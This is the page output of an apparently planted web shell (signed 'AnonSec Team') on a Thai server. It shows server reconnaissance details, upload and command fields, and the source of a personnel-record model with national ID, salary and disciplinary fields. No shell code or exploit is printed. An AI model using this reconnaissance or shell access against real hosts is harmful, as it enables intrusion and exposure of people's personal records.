NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.227.209.41
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/models/tbPersonal.php
<?php

class tbPersonal extends CActiveRecord {
    
    public static function model($className = __CLASS__) {
        return parent::model($className);
    }
    
    public function tableName() {
        return 'tb_personal';
    }
    
    public function attributeLabels() {
        return array(
            'id' => 'ID',
            'prefix' => 'คำนำหน้า',
            'name' => 'ชื่อ',
            'surname' => 'นามสกุล',
            'personal_id' => 'เลขที่ประจำตัวประชาชน',
            'birthday' => 'วันเดือนปีเกิด',
            'personal_pic' => 'รูปประจำตัว',
            'edu_level' => 'วุฒิการศึกษา',
            'major_name' => 'สาขา',
            'institute_name' => 'สถาบัน',
            'pos_num' => 'เลขที่ตำแหน่ง',
            'pos_date_in' => 'วันเดือนปีที่ ดำรงตำแหน่ง',
            'pos_level' => 'ระดับ',
            'salary' => 'เงินเดือน',
            'date_officer_in' => 'วันเดือนปีที่ เข้ารับราชการ',
            'date_officer_retire' => 'วันเดือนปีที่ เกษียณ',
            'accuse_choice' => 'ประเภท การลงโทษ',
            'accuse_detail' => 'รายละเอียด การลงโทษ',
            'accuse_date' => 'วันเดือนปีที่ ถูกลงโทษ',
            'royal_level' => 'รับเครื่องราชฯ ขั้นสูงสุด',
            'royal_date' => 'วันเดือนปี รับเครื่องราชฯ(ราชกิจจา)',
            'profile_train_detail' => 'ประวัติฝึกอบรม',
        );
    }
    
    public function rules() {
        return array(            
            array('name, surname, personal_id, major_name, institute_name, salary', 'required', 'message'=>'{attribute} ## ห้ามเป็นข้อมูลว่าง.'),
            array('name, surname', 'match', 'pattern'=>'/^[ก-ฮะ-์เ A-Za-z]+$/', 'message'=>'{attribute} ## ต้องเป็น ภาษาไทย หรือ ภาษาอังกฤษ และ ช่องว่างเท่านั้น.'),
            array('personal_id, salary', 'match', 'pattern'=>'/^[0-9]+$/', 'message'=>'{attribute} ## ต้องเป็น ตัวเลขเท่านั้นเท่านั้น.'),
            array('personal_id', 'length', 'min' => 13, 'tooShort'=>'{attribute} ## น้อยเกินไป'),
            
            array('id, prefix, birthday, edu_level, tb_personal_group_id, tb_personal_position_id, pos_date_in, pos_level, pos_num, date_officer_retire, accuse_choice, accuse_detail, accuse_date, royal_level, royal_date, profile_train_detail', 'safe'),
        );
    }
    
    public function relations() {
        return array(
            'tbPersonalPosition' => array(self::BELONGS_TO, 'tbPersonalPosition', 'tb_personal_position_id'),
            'tbPersonalGroup' => array(self::BELONGS_TO, 'tbPersonalGroup', 'tb_personal_group_id'),
        );
    }
    
    public function beforeSave() {
        if ($this->birthday) {
            $this->birthday = date('Y-m-d', strtotime($this->birthday));
        }
        
        if (!empty($this->pos_date_in)) {
            $this->pos_date_in = date('Y-m-d', strtotime($this->pos_date_in));
        } else {
            $this->pos_date_in = NULL;
        }
        
        if ($this->date_officer_in) {
            $this->date_officer_in = date('Y-m-d', strtotime($this->date_officer_in));
        } else {
            $this->date_officer_in = NULL;
        }
        
        if (!empty($this->accuse_date)) {
            $this->accuse_date = date('Y-m-d', strtotime($this->accuse_date));
        } else {
            $this->accuse_date = NULL;
        }
        
        if (!empty($this->royal_date)) {
            $this->royal_date = date('Y-m-d', strtotime($this->royal_date));
        } else {
            $this->royal_date = NULL;
        }
        
        if ($this->salary) {
            $this->salary = number_format($this->salary);
        }
        
        return parent::beforesave();
    }
    
    public function afterFind() {
        if ($this->birthday) {
            $this->birthday = date('d-m-Y', strtotime($this->birthday));
        }
        
        if ($this->pos_date_in) {
            $this->pos_date_in = date('d-m-Y', strtotime($this->pos_date_in));
        }
        
        if ($this->date_officer_in) {
            $this->date_officer_in = date('d-m-Y', strtotime($this->date_officer_in));
        }
        
        if ($this->accuse_date) {
            $this->accuse_date = date('d-m-Y', strtotime($this->accuse_date));
        }
        
        if ($this->royal_date) {
            $this->royal_date = date('d-m-Y', strtotime($this->royal_date));
        }
        
        if ($this->salary) {
            $this->salary = str_replace(',', '', $this->salary);
        }
        
        return parent::afterFind();
    }
    
    public function dateThai($data, $row) {
        return OtherFunction::DateThaiPersonal($data->birthday);
    }
}
?>

Anon7 - 2022
AnonSec Team